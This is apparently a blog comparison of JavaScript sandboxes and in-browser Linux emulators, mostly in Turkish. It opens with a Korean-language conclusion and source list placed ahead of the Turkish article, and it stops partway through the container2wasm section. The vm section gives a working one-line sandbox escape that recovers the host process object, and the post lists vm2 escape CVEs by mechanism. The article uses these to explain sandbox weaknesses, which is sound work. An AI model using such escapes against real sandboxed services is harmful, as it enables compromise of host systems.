typescript-virtual-container는 다른 어떤 것도 건드리지 않는 간극을 채워: 완전하고, 프로그래밍 가능한 Linux 셸 환경으로, 실제 SSH, SFTP, POSIX 권한, 사용자 관리, 가상 네트워킹, 타입 있는 TypeScript API를 가지고 -- ~10 MB에서 실행되고, 1초 안에 부팅되며, Node.js와 브라우저 모두에서 작동해.

직접 써보고 싶다면: 소스는 github.com/itsrealfortune/typescript-virtual-container에 있고, 라이브 데모 (완전한 데스크톱을 위한 startxfce4 포함, 진짜 sick이야)는 itsrealfortune.fr/typescript-virtual-container/demo에 있어. 확인해 보고 Fortune에게 GitHub에서 별 좀 줘, 그녀는 받을 자격이 있어!

읽어줘서 고마워 -- 내 기준에서도 정말 긴 글이었어 :) 도움이 됐길 바라!


출처

모든 주장을 출처 -- CVE 권고, 공식 문서, GitHub 저장소, 유지보수자의 블로그 글 -- 에 연결하려고 노력했어. 몇 가지 참고: vm2 CVE 목록은 계속 늘어나서 FortiGuard 링크는 네가 읽을 때쯤이면 오래됐을 수 있어 (최신 정보는 GitHub advisories 페이지를 확인해). Bellard 링크는 모두 안정적이야 -- 그의 개인 사이트는 계속 유지되고 콘텐츠는 변하지 않아. 그리고 폴리필에 대해 더 깊이 알고 싶다면, typescript-virtual-container 저장소의 polyfills/ 폴더를 직접 살펴봐 -- 내가 여기에 쓸 수 있는 어떤 설명보다 더 읽기 쉬워.

JavaScript 샌드박스

Linux 에뮬레이터

터미널 스택

허니팟

typescript-virtual-container

배경 읽기 자료

JavaScript Çözümlerini Linux Çekirdek Simülasyonları İçin Karşılaştırma

JavaScript/TypeScript ile Linux ortamı yeniden oluşturmalarının

Her JavaScript sandbox'ı, emülatörü, simülatörü ve honeypot'u -- karşılaştırmalı

Uzun süredir bu tavşan deliğinde çok ama çok derinlere dalmış durumdayım. Her şey typescript-virtual-container projesine yardım ederken başladı -- Fortune'un projesi (birazdan ondan daha fazla bahsedeceğim) -- ve sürekli "bekle, bunun v86'dan farkı ne?" veya "neden sadece vm2 kullanmıyorsun?" gibi sorular alıyordum -- ve önce tüm ekosistemi haritalandırmadan temiz bir cevap veremeyeceğimi fark ettim. İşte buradayız işte lol.

Meğer dört farklı aile varmış -- JS sandbox'ları, Linux emülatörleri, Linux simülatörleri ve honeypot'lar -- ve neredeyse hiç örtüşmüyorlar, her ne kadar sürekli aynı cümlede anılsalar da. Bir eklenti sistemi inşa eden isolated-vm'e uzanır. Bir CLI aracı tanıtan v86'ya uzanır. SSH tehdit istihbaratı yapan Cowrie'ye uzanır. "Kodu bir kutuda çalıştırmak" şeklindeki aynı belirsiz şemsiye altında tamamen farklı problemleri çözüyorlar.

Kaynak kodları, CVE raporlarını, mimari dokümanlarını ve npm sayfalarını okumak için çok zaman harcadım. Bu çok ama çok uzun olacak -- bir kahve al, cidden. Ya da iki.

Hızlı uyarı: typescript-virtual-container bu makalede sıkça yer alıyor çünkü bu araştırmayı tetikleyen şey buydu. Diğer her şeye karşı adil olmaya çalıştım, ama bu bağlamı aklında tut.


Bölüm 0 -- Öncelikle, aslında hangi problemi çözüyorsun?

Derinlemesine dalmadan önce, her ailenin ne için olduğunu kesin olarak belirtmekte fayda var, çünkü terminoloji hızla karmaşıklaşıyor ve insanlar sürekli karıştırıyor (ben de dahil, oturup gerçekten haritalandırmadan önce).

JS sandbox'ları, JavaScript kodunu ana Node.js sürecinden izole eder. Tehdit modeli: process.exit() çağırabilecek, dosya okuyabilecek veya alt süreçler başlatabilecek güvenilmeyen JS kodudur. Çözüm, V8 yürütmesi etrafında bir sınırdır. Bu araçların bir Linux shell'i, izinleri olan bir dosya sistemi veya SSH hakkında hiçbir kavramı yoktur.

Linux emülatörleri, gerçek, değiştirilmemiş bir Linux çekirdeğini bir CPU emülatörü (x86, RISC-V, OR1K) içinde JavaScript veya WebAssembly ile çalıştırır. Gerçek bir işletim sistemi başlatırsın. Gerçek syscall'lar alırsın. x86 ile derlenmiş programlarla ikili uyumluluk elde edersin. Ek yük devasadır.

Linux simülatörleri, gerçek bir çekirdek çalıştırmadan bir Linux sisteminin davranışını taklit eder. Bir shell yorumlayıcısı, sanal bir dosya sistemi ve programları ve insanları kandırmaya yetecek kadar Unix semantiği uygularlar. Çekirdek yok. Wasm yok. CPU emülasyonu yok. Çok daha düşük ek yük.

Honeypot'lar, saldırganları çekmek ve ne yaptıklarını kaydetmek için inşa edilir. Öncelikli olarak yürütme ortamları değildirler -- gözlem araçlarıdırlar. Gerçek Linux davranışına sadakat, sadece saldırganın tuzağı tespit etmesini engellemek için önemlidir.

Bu çerçeveyle, bu makaledeki her projenin nerede durduğu şöyle:

JS sandbox'ı:       vm, vm2, isolated-vm, quickjs-emscripten, Deno Workers, ShadowRealm
Linux emülatörü:    v86, JSLinux/TinyEMU, jor1k, CheerpX, WebContainers, container2wasm
Linux simülatörü:   typescript-virtual-container (bu alanda benzersiz)
Honeypot:           Cowrie, Kippo, Lyrebird, endlessh, sshesame, node-simple-ssh-honeypot
Terminal yığını:    xterm.js + node-pty (izolatör değil, ama bitişik)

Bölüm 1 -- JavaScript sandbox'ları

1.1 vm -- Node.js yerleşiği (düşündüğün gibi değil)

Node'da "güvenilmeyen JS çalıştırmanın" en eski cevabı, yerleşik vm modülüdür. v0.1'den beri vardır, bu yüzden birçok kişi önce ona uzanır -- ve sonra yanar.

const vm = require("vm");
const sandbox = { answer: 0 };
vm.createContext(sandbox);
vm.runInContext("answer = 6 * 7", sandbox);
console.log(sandbox.answer); // 42

vm'nin gerçekte yaptığı: yeni bir V8 context'i (yeni bir dizi yerleşik yapıcı -- Object, Array, Function vb.) oluşturur ve kodu, sandbox'a koyduğun her şeye paylaşılan bir referansla çalıştırır. V8 motorun değişmez. Sürecin değişmez. Bellek paylaşılır.

vm'nin güvenlik sağlamamasının nedeni: JavaScript'in prototip zinciri, her şeyi Object.prototype'a bağlayan bir DAG'dir. Ana realm'den sandbox'a herhangi bir nesne koyarsan, misafir onun prototip zincirinden tırmanarak ana yapıcılara ulaşabilir. Function'dan, Function("return process")() çağırarak gerçek process nesnesini kurtarabilirsin. Oyun biter. Anında.

// Bu, vm'de sorunsuz çalışır -- gerçek process nesnesini geri alırsın
vm.runInNewContext(`({}).__proto__.constructor("return process")()`);

Yani, Node.js dokümantasyonunun kendisi bile şöyle diyor: "vm modülü bir güvenlik mekanizması değildir. Güvenilmeyen kodu çalıştırmak için kullanmayın." Bu uyarı sonsuza kadar oradaydı. İnsanlar sürekli görmezden geliyor. Production uygulamalarında vm'yi sandbox olarak kullanıldığını gördüm. Lütfen bunu yapma xD

Karar: bir kapsam mekanizması, sandbox değil. İzole değişken kapsamına ihtiyacın olduğunda kullan (şablon motorları, kodu kontrol ettiğin eval benzeri özellikler). Asla güvenilmeyen girdi için.

Bellek: ihmal edilebilir ek yük -- ana süreçle aynı V8 heap'i.
Güvenlik: motive bir saldırgana karşı hiçbiri.


1.2 vm2 -- topluluk girişimi ve çok uzun ölümü

vm2, topluluğun vm'nin kaçış sorununa cevabıydı. Temel fikir: sandbox sınırını geçen her nesneyi, özellik erişimini engelleyen, prototip tırmanmayı bloke eden ve tehlikeli referansları filtreleyen bir Proxy ile sarmalamak. Teoride zekice bir fikir! Pratikte pek değil, göreceğimiz gibi.

const { VM } = require("vm2");
const vm = new VM({ timeout: 1000, sandbox: {} });
vm.run("process.exit(1)"); // VMError fırlatır, process erişilebilir değil

Birkaç yıl boyunca makul ölçüde iyi çalıştı. Ancak JavaScript Proxy'sinin saldırı yüzeyi devasadır. Her yeni JS dil özelliği -- generator'lar, async iterator'lar, Symbol.toPrimitive, Error.prepareStackTrace, Promise iç yuvaları -- potansiyel bir bypass vektörüdür.

CVE zaman çizelgesi... başka bir şey. Yani, şuna bak:

Tarih CVE Mekanizma
Eki 2022 CVE-2022-36067 Error.prepareStackTrace ana context kaçışı
Nis 2023 CVE-2023-29017 İşlenmeyen async hata yığını ana nesne sızıntısı
Nis 2023 CVE-2023-29199 handleException() ile istisna temizleme bypass'ı
Nis 2023 CVE-2023-30547 Proxy.getPrototypeOf → Function → RCE
May 2023 CVE-2023-32314 Error.name üzerinde Proxy → Function → RCE
Tem 2023 CVE-2023-37466 Async fonksiyon + yığın taşması + Proxy.getPrototypeOf
Tem 2023 CVE-2023-37903 Worker thread + eval kaçışı

Aynı ayda (Nisan 2023) ÜÇ kritik CVE. BİR AYDA ÜÇ TANE. CVE-2023-37903'ten sonra, bakımcı, kütüphaneyi şu mesajla resmen deprecate etti: "Kütüphane kritik güvenlik sorunları içeriyor ve production için kullanılmamalıdır."

Bakımcı, Ekim 2025'te 3.10.0 sürümüyle onu diriltti ve o zamana kadar bilinen her şeyi düzelttiğini iddia etti. Ocak 2026'da yeni bir kritik kaçış (CVE-2026-22709, CVSS 9.8) açıklandı, ardından Mayıs 2026'da on bir tane daha geldi. On bir. Desen değişmedi ve dürüst olmak gerekirse asla değişeceğini sanmıyorum.

Temel sorun mimari -- ve tüm ekosistemin öğrenmesi biraz zaman alan ders bu. Sandbox yaptığın dili kullanarak, aynı motorda, aynı süreçte güvenli bir sandbox inşa edemezsin. Kaçış yüzeyi, tüm V8 uygulamasıdır -- ve V8, sürekli değişen birkaç milyon satır C++'tır. Her yeni JS özelliği potansiyel olarak yeni bir saldırı yolu açar.

Karar: Güvenlik açısından hassas uygulamalar için kullanma. En son sürümde bile, her birkaç ayda bir yeni bypass'lar keşfediliyor. Bakımcının kendisi bunu açıkça kabul etti.


1.3 isolated-vm -- gerçekten çalışan

isolated-vm doğru yaklaşımı benimser: V8'in kendi izolasyon ilkelini, Isolate'i kullanır. Her V8 Isolate'in kendi heap'i, kendi garbage collector'ü, kendi yerleşik seti ve diğer Isolate'lerle sıfır paylaşılan referansı vardır.

Bu, Chrome'un sekmeler arasında kullandığı sınırdır. Proxy üzerine inşa edilmiş bir dil seviyesi hilesi değil, gerçek bir güvenlik sınırıdır.

import ivm from "isolated-vm";

// Her isolate kendi V8 heap'idir
const isolate = new ivm.Isolate({ memoryLimit: 64 }); // MB sınırı
const context = await isolate.createContext();
const jail = context.global;

// Sınır ötesi veri iletimi açık serileştirme gerektirir
await jail.set("sensitiveData", "not this");
await jail.set("log", new ivm.Reference(console.log));

const script = await isolate.compileScript(`
  // Ana sürece, ana heap'e veya ana modüllere erişemez
  log.applySync(undefined, ["hello from the isolate"]);
`);
await script.run(context);

// Zaman aşımı veya bellek limitinde sert sonlandırma yapabilirsin
isolate.dispose(); // tüm heap'i serbest bırakır

Reference ve ExternalCopy türleri, açık iletişim köprüsüdür. Bir Reference, isolate'e bir ana fonksiyonuna çağrılabilir bir tanıtıcı verir -- isolate onu çağırabilir ama closure'ını veya prototipini inceleyemez. Bir ExternalCopy, bir değeri (yapılandırılmış klon) heap sınırı boyunca serileştirir. Bu açık-köprü modeli kullanışlı değildir, ama izolasyonu gerçek kılan şey budur.

Sert kaynak limitleri ayarlayabilirsin: bellek (limit aşılırsa isolate sonlandırılır), duvar saati zaman aşımı ve CPU zaman aşımı. Sonlandırma gerçektir -- bir while(true) ile bypass edilebilecek bir JS zaman aşımı değil, tüm V8 Isolate'ini öldürür.

Sınırlamalar: sadece JS. İçinde bash çalıştıramazsın. Dosya, izin, ağ veya süreç kavramı yoktur. Kullanıcı tarafından gönderilen JS (eklentiler, formüller, script kancaları) için tam olarak doğru araçtır ve diğer her şey için yanlış araçtır. typescript-virtual-container'ın yazarı, "shell komutları çalıştırmak" ve "JavaScript'i izole etmek" temelde farklı problemler olduğunu fark etmeden önce bunu erken aşamalarda değerlendirdiğinden bahsetti.

Bellek: boş isolate başına ~3–10 MB, heap kullanımıyla büyür.
Güvenlik: güçlü. V8 Isolate sınırı gerçek izolasyon ilkelidir.
npm: isolated-vm
GitHub: laverdet/isolated-vm


1.4 quickjs-emscripten -- Wasm'a derlenmiş ayrı bir JS motoru

Farklı bir yaklaşım: V8 içinde izole etmek yerine, WebAssembly'e derlenmiş tamamen ayrı bir JavaScript motoru çalıştır. Ana makine V8/Node'da çalışır. Misafir QuickJS-Wasm içinde çalışır. Wasm sandbox'ı izolasyon sınırını sağlar.

QuickJS, Fabrice Bellard'ın bir başka işi (QEMU, FFmpeg, JSLinux, TinyEMU'nun arkasındaki aynı adam -- bu kişi gerçek değil, cidden, bir insan bunların hepsini nasıl yapar?). C ile yazılmış, spec uyumlu küçük bir ES2023 JS motoru ve Wasm'a derlendiğinde sadece ~500 KB.

import { getQuickJS } from "quickjs-emscripten";

const QuickJS = await getQuickJS();
const vm = QuickJS.newContext();

const result = vm.evalCode(`
  // QuickJS'de çalışır, V8'den tamamen ayrı
  (function() { return 6 * 7; })()
`);

if (result.error) {
  console.log("Error:", vm.dump(result.error));
  result.error.dispose();
} else {
  console.log("Result:", vm.dump(result.value)); // 42
  result.value.dispose();
}

vm.dispose();

QuickJS, C ile yazılmış, spec uyumlu küçük bir ES2023 JavaScript motorudur. Wasm'a derlendiğinde, senkron varyant için ~500 KB, asenkron (Asyncify) varyant için ~1 MB'dır. Bellek yönetimi manueldir -- VM'den çıkardığın her değerin açıkça dispose edilmesi gerekir, bu biraz can sıkıcıdır ama sınırlar arası GC sürprizlerini önler. Eğlenceli bir takas!

@sebastianwessel/quickjs sarmalayıcısı, üzerine isteğe bağlı sanal dosya sistemi, fetch desteği ve Node.js modül saplamaları ile daha ergonomik bir API ekler:

import variant from "@jitl/quickjs-ng-wasmfile-release-sync";
import { loadQuickJs } from "@sebastianwessel/quickjs";

const { runSandboxed } = await loadQuickJs(variant);

const result = await runSandboxed(
  async ({ evalCode }) => evalCode(`
    import { join } from 'path';
    export default join('src', 'dist');
  `),
  { allowFs: false, allowFetch: false }
);

Güvenlik modeli isolated-vm'den farklıdır: Wasm'in lineer bellek modeli, misafirin V8 heap nesnelerine doğrudan erişememesi anlamına gelir. Saldırı yüzeyi, tüm JS dili değil, ana↔Wasm arayüzüdür (import/export). Bu genellikle Proxy tabanlı sandbox'lama'dan daha sağlam kabul edilir.

Dezavantajı: QuickJS, V8 ile aynı optimizasyon seviyesine sahip değildir. CPU bağımlı JS iş yükleri için V8'den 5–20 kat daha yavaştır. Kısa snippet'ler ve güvenilmeyen eval için bu genellikle önemli değildir.

Bellek: örnek başına ~500 KB Wasm modülü + heap.
Güvenlik: Wasm sınırı, Proxy tabanlı yaklaşımlardan daha güçlü kabul edilir.
npm: quickjs-emscripten, @sebastianwessel/quickjs
GitHub: justjake/quickjs-emscripten


1.5 Deno -- önce izinler çalışma zamanı

Deno tamamen farklı bir felsefe benimser: Node içinde sandbox yapmak yerine, varsayılan olarak güvenli yeni bir çalışma zamanı inşa et. Bu yaklaşımı gerçekten seviyorum -- dürüst olmak gerekirse, Node.js'in baştan beri böyle olması gerekirdi. Ryan Dahl (orijinal Node.js yaratıcısı) kelimenin tam anlamıyla Deno'yu bazı Node.js tasarım kararlarından pişman olduğu için yaptı, ki bu düşününce oldukça çılgınca.

Her hassas yetenek (dosya okuma, dosya yazma, ağ, env, alt süreç) açık bir --allow-* flag'i gerektirir:

# Bu sadece /data'dan okuyabilir, başka hiçbir şey
deno run --allow-read=/data script.ts

# Bu sadece bir alana fetch yapabilir
deno run --allow-net=api.example.com script.ts

# Hiç flag yok = hiç izin yok
deno run untrusted.ts # okuyamaz, yazamaz, ağa çıkamaz, süreç başlatamaz

İzin modeli Rust/İşletim Sistemi seviyesinde uygulanır -- bir JS hilesi değildir. Deno kodu Deno.readFile() çağırdığında, bu dosya sistemine dokunmadan önce izin tablosunu kontrol eden bir Rust op'undan geçer. İzin verilmezse syscall asla gerçekleşmediği için JS'den atlatamazsın.

Gerçekten güvenilmeyen kodu çalıştırmak için, Deno Workers (Web Workers) aynı süreç içinde ikinci bir isolate sağlar, her biri kendi izin setine sahiptir. Sıfır izinle bir worker başlatabilir ve postMessage ile iletişim kurabilirsin.

Deno 2 (Ekim 2024'te yayınlandı) tam npm uyumluluğu ve Node.js uyumluluk shim'leri ekledi, bu da sunucu tarafı kullanım durumları için benimsenmesini önemli ölçüde artırdı.

Takas: Deno'nun güvenlik modeli, kısmen güvenebileceğin kod için mükemmeldir. Kötü niyetli olabilecek tamamen güvenilmeyen kod için, izin modeli yardımcı olmaz -- bir Isolate sınırı (isolated-vm) veya farklı bir motor (quickjs-emscripten) gerekir, çünkü Deno hala V8 çalıştırır ve sofistike saldırganlar V8 seviyesinde hatalar bulabilir.


1.6 TC39 ShadowRealm -- standart cevap (nihayet)

JavaScript standart organı (TC39), ShadowRealm adında bir teklife sahiptir ve vm ve vm2'nin yapmaya çalıştığını, ancak doğru bir güvenlik modeliyle standartlaştırmayı amaçlar. Bir ShadowRealm, kendi içselleri olan, dış realm'e erişimi olmayan ve dikkatlice kontrol edilmiş bir import/export arayüzüne sahip izole bir JS yürütme context'i oluşturur.

const realm = new ShadowRealm();
const result = realm.evaluate(`
  // Ayrı içseller, dış realm'e erişim yok
  typeof globalThis.fetch // "undefined"
  6 * 7 // 42
`);

ShadowRealm, tarayıcılarda (Chrome 90+, Firefox 105+) mevcuttur ancak 2026 itibarıyla henüz kararlı Node.js'de yoktur. TC39 Compartments teklifi, modül seviyesinde izolasyon için bunun üzerine inşa edilir. Bunlar uzun vadeli standartlaştırılmış cevaplardır, ancak henüz sunucu tarafı Node kullanım durumları için production-ready değildir. Uzaktan geldiğini gördüğün ama henüz... orada olmayan şeylerden biri işte. Klasik TC39 xD


Sandbox ailesi özeti

vm vm2 isolated-vm quickjs-emscripten Deno Workers
İzolasyon sınırı yok (sadece kapsam) Proxy (kırık) V8 Isolate Wasm V8 Isolate + Rust izinleri
Bellek sınırı ❌ ❌ ✅ sert limit ✅ Wasm heap kısmi
CPU zaman aşımı ❌ ✅ (bypass edilebilir) ✅ sert ✅ ✅
Güvenlik yok kırık güçlü güçlü güçlü
JS hızı yerel V8 yerel V8 yerel V8 ~10x yavaş yerel V8
Tarayıcı ❌ ❌ ❌ ✅ ❌
Node uyumu yerel ✅ ✅ kısmi shim'ler kısmi
Durum kararlı riskli (yeni CVE'ler) ✅ aktif ✅ aktif ✅ aktif
RAM ek yükü ~1 MB ~5–20 MB ~3–10 MB ~5–15 MB ~10–30 MB

Çıkarım: güvenlik senin için önemliyse, tam olarak iki gerçek seçenek vardır -- isolated-vm (yerel eklenti, V8 Isolate, tam JS hızı) ve quickjs-emscripten (Wasm, tarayıcı uyumlu, hesaplama ağır kod için ~10x yavaş). Diğer her şey ya "lütfen yapma" (vm, vm2) ya da tamamen farklı bir problemi çözen bir çalışma zamanıdır (Deno). ShadowRealm sonunda bu resmi değiştirebilir, ama henüz orada değil.


Bölüm 2 -- JavaScript'te Linux emülatörleri

İşte işlerin benim için gerçekten ilginçleştiği yer. Bunlar gerçek emülatörlerdir -- bir CPU komut setini JavaScript veya WebAssembly'de uygularlar, gerçek bir Linux çekirdek imajını başlatırlar ve gerçek kullanıcı alanı ikili dosyalarını çalıştırırlar. İzolasyon, misafir ve ana makinenin hiçbir şey paylaşmamasından gelir: farklı bellek alanları, farklı komut akışları.

Ödediğin bedel çok büyüktür, ama elde ettiğin şey gerçekten dikkat çekicidir: gerçek Linux, gerçekten çalışıyor, tarayıcında veya Node sürecinde. Yani, bunu düşününce oldukça çılgınca, değil mi?

2.1 v86 -- JS + Wasm JIT'te x86 PC emülatörü

Fabrice (GitHub'da copy) tarafından yapılan v86, JavaScript'teki en yetenekli açık kaynak x86 emülatörüdür. 2013 civarında saf bir JS yorumlayıcı olarak başladı ve x86 temel bloklarının anında WebAssembly'e çevrildiği, performansı çarpıcı biçimde artıran bir JIT derlenmiş sisteme dönüştü.

Emule ettiği şeyler:

  • CPU: x86-32 (IA-32), komut seti kabaca Pentium 1 seviyesinde. 64-bit (x86-64) desteği yok -- bu, eksik bir özellik değil, sert bir mimari sınırdır.
  • FPU: JavaScript'in Float64Array'i aracılığıyla. x87 80-bit genişletilmiş hassasiyettir; JS double'ları 64-bit'tir. Bu, kayan nokta sonuçlarının gerçek bir CPU'dan biraz farklı olabileceği anlamına gelir.
  • Bellek: yapılandırılabilir, JS heap'inde bir SharedArrayBuffer veya ArrayBuffer'a eşlenir.
  • Donanım: 8254 PIT (zamanlayıcı), 8259 PIC (kesme denetleyicisi), 8042 klavye denetleyicisi (PS/2), CMOS RTC, SVGA uzantılı ve Bochs VBE'li VGA, IDE denetleyicisi, disket denetleyicisi (8272A), NE2000 ağ kartı.
  • BIOS: SeaBIOS (açık kaynak x86 BIOS) kullanır.

JIT, temel blokları (sıçramasız x86 komut dizileri) belirleyerek, bunları bir WebAssembly fonksiyonuna çevirerek, bu fonksiyonu önbelleğe alarak ve aynı bloğun sonraki çalıştırmalarında çağırarak çalışır. Sıcak kod yolları yerel Wasm performansı alır. Soğuk yollar JS yorumlayıcısına düşer.

import { V86 } from "v86";
import { readFileSync } from "fs";

const emulator = new V86({
  bios:    { buffer: readFileSync("./bios/seabios.bin") },
  vga_bios:{ buffer: readFileSync("./bios/vgabios.bin") },
  hda:     { buffer: readFileSync("./images/alpine.img"), async: false },
  memory_size: 128 * 1024 * 1024, // 128 MB
  autostart: true,
});

// Seri port çıktısını yakala (Linux çekirdek konsolu)
emulator.add_listener("serial0-output-byte", byte => {
  process.stdout.write(String.fromCharCode(byte));
});

// Misafire girdi gönder (shell'e yaz)
emulator.serial0_send("ls /\n");

Desteklenen işletim sistemleri: Alpine Linux (mükemmel), Ubuntu 16.04/18.04 (sadece i386), Arch Linux 32, ReactOS, FreeDOS, Windows 9x/2000 (kısıtlamalarla), MS-DOS.

Başlatma süresi: Temiz bir imajdan Alpine Linux için 15–40 saniye. Bu, gerçek çekirdek başlatmanın doğasında vardır -- atlayamazsın. Evet, kullanıcıların tarayıcılarında bir çekirdek başlatma dizisini izleyerek oturacaklar. İşte anlaşma bu xD

Bellek tabanı: örnek başına 100–256 MB. Yoğun bir Linux örneği için Wasm JIT kod önbelleği tek başına onlarca MB'a ulaşabilir.

Node.js kullanımı: tam desteklenir. DOM gerekmez -- sadece seri portu önemsiyorsan VGA çıktısı atılabilir.

Yapamayacağın şeyler: 64-bit ikili dosyalar çalıştıramazsın, modern çekirdek özelliklerini (eBPF, io_uring vb.) kullanamazsın veya bellek limitlerine çarpmadan aynı anda bir avuçtan fazla örnek çalıştıramazsın.

npm: v86 -- sürekli güncellenir, bu yazının yazıldığı an son yayınlanan sürüm son bir gün içinde.
GitHub: copy/v86
Demo: copy.sh/v86


2.2 JSLinux ve TinyEMU -- Bellard'ın işi, iki kere

JSLinux, Fabrice Bellard'ın kendi JavaScript Linux emülatörüdür -- 2011'de yayınlanan ilk örnek. Bu makalede Bellard'dan bahsedip duruyorum çünkü karşıma çıkmaya devam ediyor: QuickJS, TinyEMU, JSLinux, QEMU, FFmpeg. Adam başka bir şey. Gerçekten, abartısız, yazılım tarihindeki en etkileyici bireysel teknik katkılardan biri.

Orijinal JSLinux saf bir JS x86 yorumlayıcıydı. 2016'da Bellard, TinyEMU'yu (C ile yazılmış bir RISC-V emülatörü) yazdı, onu Emscripten aracılığıyla JavaScript'e derledi ve bu, mevcut JSLinux'un temeli oldu. Yani mevcut JSLinux aslında JavaScript üreten C kodudur -- elle yazılmış JS değil.

Bellard'ın sitesindeki teknik notlar okumaya değer: mevcut JSLinux, VirtIO konsol, VirtIO ağ, VirtIO blok aygıtı ve ana makineyle dosya paylaşımı için bir 9P dosya sistemini emule eden 32 veya 64-bit bir RISC-V CPU (x86 değil) çalıştırır. JS demosu, Emscripten kullanılarak C'den derlenmiştir -- elle yazılmış JS değil.

TinyEMU'nun kendisi şunları destekler:

  • RISC-V RV32IMAFDQC ve RV64IMAFDQC (32 ve 64-bit, float, çarpma, sıkıştırılmış komutlarla)
  • KVM aracılığıyla x86 (sadece yerel, emülasyon yok -- yani JS sürümü sadece RISC-V)
  • VirtIO konsol, ağ, blok, girdi, 9P dosya sistemi

TinyEMU, Emscripten aracılığıyla sağlanan bir JavaScript demosuna sahiptir. JSLinux'un temelidir ve ayrıca container2wasm tarafından da kullanılır (bkz. bölüm 2.5).

JSLinux durumu: npm paketi yok, programatik API yok. Tarayıcında açtığın bir demo. Tarihsel önemi yüksektir -- konsepti kanıtladı. Kütüphane olarak pratik kullanımı: yok.

TinyEMU: npm'de yok, C kaynağı bellard.org/tinyemu adresinde.


2.3 jor1k -- OR1K emülatörü

jor1k, Sebastian Macke tarafından JavaScript ile yazılmış bir OpenRISC 1000 (OR1K) emülatörüdür. Tarihsel olarak ilginçtir çünkü jor1k, VirtIO 9P dosya sistemi desteğini tanıttı ve Bellard daha sonra bunu TinyEMU ve JSLinux'a dahil etti. Bu projeler arasındaki çapraz tozlaşma sıkıdır -- hepsi birbirinden ödünç alır, ki bu açık kaynak emülasyon çalışmalarıyla ilgili en havalı şeylerden biridir.

Durum: artık aktif olarak bakılmıyor, npm paketi yok. Bu noktada arşivlenmiş durumda. Çoğunlukla tarihsel bağlam için bilmekte fayda var -- yani birisi sohbette jor1k'ten bahsederse, artık ne olduğunu biliyorsun :)


2.4 CheerpX -- tarayıcı için ticari x86 emülatörü

Leaning Technologies tarafından yapılan CheerpX, ticari, production kalitesinde bir x86 Linux emülatörüdür. Açık kaynak değildir, ancak gerçek Debian/Ubuntu kullanıcı alanını çalıştırmak için v86'dan önemli ölçüde daha yeteneklidir. Tarayıcıda gerçek VSCode'a ihtiyacın varsa, uzanacağın şey budur.

v86'dan temel farklar:

  • Daha geniş bir ISA'yı destekler (daha fazla x86 uzantısı, daha iyi glibc uyumluluğu)
  • Tarayıcıda IndexedDB destekli dosya sistemi (sayfa yüklemeleri arasında kalıcı)
  • SharedArrayBuffer aracılığıyla pthread desteği (COOP/COEP başlıkları gerektirir -- evet o sinir bozucu güvenlik başlıkları)
  • Sadece minimal işletim sistemi imajları değil, VSCode, Python, Node.js ve diğer gerçek uygulamaları çalıştırmak için tasarlanmıştır
  • Profesyonel destek ve SLA mevcuttur

Tipik kullanım durumu, "bir sunucu olmadan tarayıcıda gerçek bir Linux uygulaması çalıştırmak"tır. Şirketler bunu tarayıcı tabanlı IDE'ler, kodlama eğitimleri ve etkileşimli dokümantasyon için kullanır.

// CheerpX API (basitleştirilmiş)
const cx = await CheerpX.Linux.create({
  mounts: [{ type: "ext2", path: "/", dev: CloudDevice.create(...) }],
});
await cx.run("/bin/bash");

Node.js hikayesi: CheerpX öncelikle tarayıcı içindir. Alttaki emülatör teoride Node'da çalışabilir (Wasm), ancak API ve dokümantasyon tamamen tarayıcı kullanımına yöneliktir. Sunucu tarafı kullanımı desteklenmez.

Bellek: v86'ya benzer -- gerçek bir Debian örneği için 200+ MB.
Fiyatlandırma: açık kaynak projeler için ücretsiz, production SaaS için ticari lisans.
Doküman: cheerpx.io/docs/overview


2.5 WebContainers (StackBlitz) -- Wasm'de Node.js, Linux emülasyonu değil

WebContainers genellikle Linux emülatörleriyle birlikte anılır ancak mimari olarak farklıdır. x86 emüle etmezler. Linux başlatmazlar. WASI kullanarak WebAssembly'e derlenmiş Node.js çalıştırırlar. Bu ayrım çok önemlidir ve ben de kendim çok uzun süre kafam karışık olarak harcadım lol.

Bence kafa karışıklığı pazarlamadan geliyor -- "tarayıcında Node.js çalıştır" kulağa emülasyon gibi geliyor, ama aslında bir VM içinde Node.js çalıştıran Linux emülasyonu değil, Wasm'a derlenmiş Node.js'in kendisi. Tamamen farklı bir şey.

Mimari:

  1. Node.js, Wasm'a derlenir (özellikle özel bir WASI çalışma zamanı)
  2. Bir Service Worker, emüle edilen Node.js sunucusundan gelen ağ isteklerini yakalar ve bunları tarayıcı sekmesine yönlendirir
  3. Dosya sistemi tarayıcı belleğinde yaşar (disk G/Ç yok)
  4. npm, tarayıcı içi kullanım için optimize edilmiş özel bir uygulamadır
import { WebContainer } from "@webcontainer/api";

const webcontainer = await WebContainer.boot();

// Dosyaları yaz
await webcontainer.mount({
  "index.js": { file: { contents: `console.log("hello")` } },
  "package.json": { file: { contents: `{"name":"demo","type":"module"}` } }
});

// Node.js komutlarını çalıştır
const proc = await webcontainer.spawn("node", ["index.js"]);
proc.output.pipeTo(new WritableStream({ write: chunk => console.log(chunk) }));

Gerçek Node.js (Wasm-derlenmiş) çalıştırdığı için, gerçek npm, gerçek Node.js API'leri ve gerçek modül çözümlemesi alırsın. Genel amaçlı bir Linux kullanıcı alanı almazsın -- apt ile sistem paketleri kuramazsın, rastgele derlenmiş ikili dosyaları çalıştıramazsın veya Node.js ekosistemi dışında fazla bir şey yapamazsın.

Tarayıcı gereksinimleri: SharedArrayBuffer (COOP/COEP başlıkları gerektirir), Service Worker desteği, modern Wasm.

Node.js hikayesi: sadece tarayıcı kullanımı için tasarlanmıştır. API, tarayıcı context'i dışında çalışmaz.

npm: @webcontainer/api
Doküman: webcontainers.io


2.6 container2wasm -- Wasm'a derlenmiş Docker konteynerleri

container2wasm, NTT'den bir Docker konteyner imajını alıp herhangi bir Wasm ana bilgisayarında -- bir tarayıcı dahil -- çalışabilen bir WebAssembly ikili dosyasına dönüştüren bir araçtır (npm paketi değil). Bunu ilk gördüğümde gerçekten işe yaradığına inanmamıştım.

Mekanizma:

  • x86_64 konteynerler için: Bochs'u (Wasm'a derlenmiş bir x86 emülatörü) + konteynerin kök dosya sistemini gömer
  • riscv64 konteynerler için: TinyEMU'yu (yine Bellard!) + konteynerin kök dosya sistemini gömer
  • Ortaya çıkan .wasm dosyası emülatörü başlatır, konteyner dosya sistemini bağlar ve konteynerin giriş noktasını çalıştırır
# Ubuntu 22.04 konteynerini Wasm'a dönüştür
c2w ubuntu:22.04 out.wasm

# Çalıştır
wasmtime out.wasm uname -a
# Linux 5.15.0 #1 SMP riscv64 GNU/Linux

# Veya tarayıcı kullanımı için sun
c2w --to-js ubuntu:22.04 /tmp/htdocs/

